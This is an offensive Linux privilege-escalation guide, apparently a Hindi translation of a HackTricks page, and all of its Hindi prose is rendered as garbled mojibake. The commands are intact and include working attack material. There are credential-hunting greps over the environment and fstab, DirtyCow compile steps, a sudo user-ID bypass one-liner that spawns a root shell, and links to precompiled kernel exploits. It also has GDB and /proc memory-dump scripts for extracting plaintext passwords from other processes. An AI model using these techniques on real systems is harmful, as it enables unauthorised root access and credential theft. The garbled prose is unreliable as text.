Linux Privilege Escalation

рд╣реИрдХрдЯреНрд░рд┐рдХреНрд╕ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рд╕рд┐рд╕реНрдЯрдо рд╕реВрдЪрдирд╛

рдУрдПрд╕ рд╕реВрдЪрдирд╛

рдЖрдЗрдП рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдУрдПрд╕ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдХреА рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ред

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

рдкрде

рдпрджрд┐ рдЖрдкрдХреЛ PATH рдЪрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдлреЛрд▓реНрдбрд░ рдкрд░ рд▓реЗрдЦрди рдЕрдиреБрдорддрд┐ рд╣реИ рддреЛ рдЖрдкрдХреЛ рдХреБрдЫ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдпрд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рд╣рд╛рдЗрдЬреИрдХ рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ:

echo $PATH

рд╡рд╛рддрд╛рд╡рд░рдг рд╕реВрдЪрдирд╛

рдХреНрдпрд╛ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА, рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ API рдХреБрдВрдЬреА рд╣реИрдВ?

(env || set) 2>/dev/null

рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕

рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдФрд░ рдпрджрд┐ рдХреЛрдИ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╣реИ рдЬреЛ рдЙрдЪреНрдЪрд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ

cat /proc/version
uname -a
searchsploit "Linux Kernel"

рдЖрдк рдПрдХ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╡рдВрд╢рд╡рд╛рджреА рдХрд░реНрдиреЗрд▓ рд╕реВрдЪреА рдФрд░ рдХреБрдЫ рдкрд╣рд▓реЗ рд╕реЗ рдХрдВрдкрд╛рдЗрд▓ рдХрд┐рдП рдЧрдП рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/lucyoa/kernel-exploits рдФрд░ exploitdb sploits. рдЕрдиреНрдп рд╕рд╛рдЗрдЯ рдЬрд╣рд╛рдВ рдЖрдк рдХреБрдЫ рдХрдВрдкрд╛рдЗрд▓ рдХрд┐рдП рдЧрдП рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

рдЙрд╕ рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╕реЗ рд╕рднреА рд╡рдВрд╢рд╡рд╛рджреА рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

рдЙрдкрдХрд░рдг рдЬреЛ рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рдЦреЛрдЬ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (рдХреБрд░реНрдмрд╛рди рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ, рдХрд░реНрдиреЗрд▓ 2.x рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ)

рд╣рдореЗрд╢рд╛ Google рдореЗрдВ рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ, рд╢рд╛рдпрдж рдЖрдкрдХреЗ рдХрд░реНрдиреЗрд▓ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдХрд┐рд╕реА рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдлрд┐рд░ рдЖрдк рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╡реИрдз рд╣реИред

CVE-2016-5195 (DirtyCow)

Linux рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЙрдиреНрдирддрд┐ - Linux рдХрд░реНрдиреЗрд▓ <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

рд╕реБрдбреЛ рд╕рдВрд╕реНрдХрд░рдг

рдЬреЛ рднреА рд╕реБрдбреЛ рд╕рдВрд╕реНрдХрд░рдг рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реИрдВ, рдЙрд╕ рдкрд░ рдЖрдзрд╛рд░рд┐рдд:

searchsploit sudo

рдЖрдк рдЗрд╕ grep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ sudo рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдХреЛрдИ рд╕реБрд░рдХреНрд╖рд┐рддрддрд╛ рд╕рдВрджреЗрд╣ рд╣реИред

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

@sickrov рджреНрд╡рд╛рд░рд╛

sudo -u#-1 /bin/bash

Dmesg рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕рддреНрдпрд╛рдкрди рд╡рд┐рдлрд▓

рдЗрд╕ рднреЗрджрди рдХреЛ рдХреИрд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП HTB рдХреЗ smasher2 рдмреЙрдХреНрд╕ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ

dmesg 2>/dev/null | grep "signature"

рдЕрдзрд┐рдХ рд╕рд┐рд╕реНрдЯрдо рдЬрд╛рдВрдЪ

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

рд╡рд┐рднрд╛рдЬрди рд╕рдВрднрд╛рд╡рд┐рдд рд╕реБрд░рдХреНрд╖рд╛

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

рдЧреНрд░рд╕реБрд░рдХреНрд╖рд╛

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

рдкреИрдХреНрд╕

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

рдПрдХреНрдЬрд╝реАрдХреНрдпреВрд╢реАрд▓реНрдб

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

ASLR (Address Space Layout Randomization) рдПрдХ security feature рд╣реИ рдЬреЛ рдХрд┐рд╕реА process рдХреЗ memory layout рдХреЛ randomize рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХрд┐рд╕реА attacker рдХреЛ exploit рдХрд░рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

рдпрджрд┐ рдЖрдк рдПрдХ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

Docker Security

рдбреНрд░рд╛рдЗрд╡реНрд╕

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдХреНрдпрд╛ рдЕрдирдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдХрд╣рд╛рдБ рдФрд░ рдХреНрдпреЛрдВред рдпрджрд┐ рдХреБрдЫ рдЕрдирдорд╛рдЙрдВрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдЖрдк рдЙрд╕реЗ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирд┐рдЬреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

рдЙрдкрдпреЛрдЧреА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░

рдЙрдкрдпреЛрдЧреА рдмрд╛рдЗрдирд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

рднреА рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреЛрдИ рдХрдВрдкрд╛рдЗрд▓рд░ рд╕реНрдерд╛рдкрд┐рдд рд╣реИред рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЕрдЧрд░ рдЖрдкрдХреЛ рдХреЛрдИ рдХрд░реНрдгреЗрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛ рддреЛ рдЗрд╕реЗ рдХрдВрдкрд╛рдЗрд▓ рдХрд░рдирд╛ рд╕реБрдЭрд╛рд╡рд┐рдд рд╣реИ рдорд╢реАрди рдореЗрдВ рдЬрд╣рд╛рдВ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ (рдпрд╛ рдПрдХ рд╕рдорд╛рди)ред

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рд╕рдВрд╡рд░реНрдгреАрдп рд╕реЙрдлреНрдЯрд╡реЗрдпрд░

рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рдкреИрдХреЗрдЬ рдФрд░ рд╕реЗрд╡рд╛рдУрдВ рдХреА рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред рд╢рд╛рдпрдж рдХреЛрдИ рдкреБрд░рд╛рдирд╛ Nagios рд╕рдВрд╕реНрдХрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рд╣реЛ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ... рд╕реБрдЭрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЕрдзрд┐рдХ рд╕рдВрджреЗрд╣рдкреВрд░реНрдг рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдП рдЧрдП рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреА рдЬрд╛рдБрдЪ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХреА рдЬрд╛рдПред

dpkg -l #Debian
rpm -qa #Centos

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╢реАрди рдХрд╛ SSH рдПрдХреНрд╕реЗрд╕ рд╣реИ рддреЛ рдЖрдк openVAS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдорд╢реАрди рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдкреБрд░рд╛рдиреЗ рдФрд░ рд╡рдВрд╢рдХрд░ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпреЗ рдХрдорд╛рдВрдбреНрд╕ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рджрд┐рдЦрд╛рдПрдВрдЧреЗ рдЬреЛ рдЕрдзрд┐рдХрд╛рдВрд╢рдд: рдЕрдлрд╝рд╛рд▓ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рдХреБрдЫ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреНрд╕ рдЬреИрд╕реЗ OpenVAS рдпрд╛ рд╕рдорд╛рди рдЬреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕реНрдерд╛рдкрд┐рдд рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг рдЬреНрдЮрд╛рдд рджреБрд░реБрдкрдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рдВрд╢рдХрд░ рд╣реИ

рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ

рджреЗрдЦреЗрдВ рдХрд┐ рдХреМрди рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛ рд░рд╣реА рд╣реИрдВ рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЬрд┐рддрдиреА рдЕрдзрд┐рдХ рдЕрдзрд┐рдХрд╛рд░ рд░рдЦрддреА рд╣реИ рдЬрд┐рддрдиреА рдЪрд╛рд╣рд┐рдП (рд╢рд╛рдпрдж рдПрдХ рдЯреЙрдордХреИрдЯ рдЬреЛ рд░реВрдЯ рджреНрд╡рд╛рд░рд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рд╣реЛ рд░рд╣рд╛ рд╣реЛ?)

ps aux
ps -ef
top -n 1

рд╣рдореЗрд╢рд╛ electron/cef/chromium debuggers рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рдЪреЗрдХ рдХрд░реЗрдВ, рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрдЪрд╕реНрд╡ рдЙрдиреНрдирддрд┐ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред Linpeas рдЗрд╕реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдореЗрдВ --inspect рдкреИрд░рд╛рдореАрдЯрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмрд╛рдЗрдирд░реА рдкрд░ рдЕрдкрдиреЗ рд╡рд░реНрдЪрд╕реНрд╡ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ, рд╢рд╛рдпрдж рдЖрдк рдХрд┐рд╕реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ

рдЖрдк pspy рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдореЙрдирд┐рдЯрд░рд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рд╡рдВрд╢реНрдЪрд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд░рд╣реА рд╣реЛрдВ рдпрд╛ рдЬрдм рдХреБрдЫ рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдВ рдкреВрд░реА рд╣реЛрдВред

рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдореЛрд░реА

рд╕рд░реНрд╡рд░ рдХреА рдХреБрдЫ рд╕реЗрд╡рд╛рдПрдВ рдореЗрдореЛрд░реА рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╕рд╣реЗрдЬрддреА рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдпрдд: рдЖрдкрдХреЛ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рд░реВрдЯ рд╡рд░реНрдЪрд╕реНрд╡ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдЬрдм рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд░реВрдЯ рд╣реЛ рдФрд░ рдЕрдзрд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЦреЛрдЬрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реЛрдВ рддреЛ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реЛрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдк рдЕрдкрдиреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдореЗрдореЛрд░реА рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдЬрдХрд▓ рдЕрдзрд┐рдХрд╛рдВрд╢ рдорд╢реАрдиреЛрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ ptrace рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдбрдВрдк рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред

рдлрд╝рд╛рдЗрд▓ /proc/sys/kernel/yama/ptrace_scope ptrace рдХреА рдкрд╣реБрдВрдЪ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреА рд╣реИ:

  • kernel.yama.ptrace_scope = 0: рд╕рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдбреАрдмрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ, рдЬрдм рддрдХ рдЙрдирдХрд╛ рдпреВрдЖрдИрдбреА рд╕рдорд╛рди рд╣реЛред рдпрд╣ ptracing рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рдерд╛ рдХрд╛ рдХреНрд▓рд╛рд╕рд┐рдХрд▓ рддрд░реАрдХрд╛ рд╣реИред

  • kernel.yama.ptrace_scope = 1: рдХреЗрд╡рд▓ рдПрдХ рдорд╛рддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдбреАрдмрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • kernel.yama.ptrace_scope = 2: рдХреЗрд╡рд▓ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ CAP_SYS_PTRACE рдХреНрд╖рдорддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

  • kernel.yama.ptrace_scope = 3: рдХреЛрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ ptrace рдХреЗ рд╕рд╛рде рдЯреНрд░реЗрд╕ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред рдПрдХ рдмрд╛рд░ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, ptracing рдХреЛ рдлрд┐рд░ рд╕реЗ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреБрдирд░рд╛рд░рдВрдн рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

GDB

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдПрдлрдЯреАрдкреА рд╕реЗрд╡рд╛ рдХреА рдореЗрдореЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП) рддреЛ рдЖрдк рд╣реАрдк рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рднреАрддрд░ рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB рд╕реНрдХреНрд░рд┐рдкреНрдЯ

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps рдФрд░ /proc/$pid/mem

рдПрдХ рджрд┐рдпрд╛ рдЧрдпрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЖрдИрдбреА рдХреЗ рд▓рд┐рдП, maps рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдкрддрд╛ рд╕реНрдерд╛рди рдореЗрдВ рдореЗрдореЛрд░реА рдХреИрд╕реЗ рдореИрдк рд╣реИ; рдпрд╣ рднреА рдкреНрд░рддреНрдпреЗрдХ рдореИрдк рдХреНрд╖реЗрддреНрд░ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджрд┐рдЦрд╛рддрд╛ рд╣реИред mem рдкреНрдпреВрдбреЛ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдореЗрдореЛрд░реА рдХреЛ рдЦреБрдж рд╣реА рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИред рд╣рдо maps рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рд╣реИрдВ рдФрд░ рдЙрдирдХреЗ рдСрдлрд╕реЗрдЯреНрд╕ред рд╣рдо рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ mem рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдЬрд╛рдиреЗ рдФрд░ рд╕рднреА рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдбрдВрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

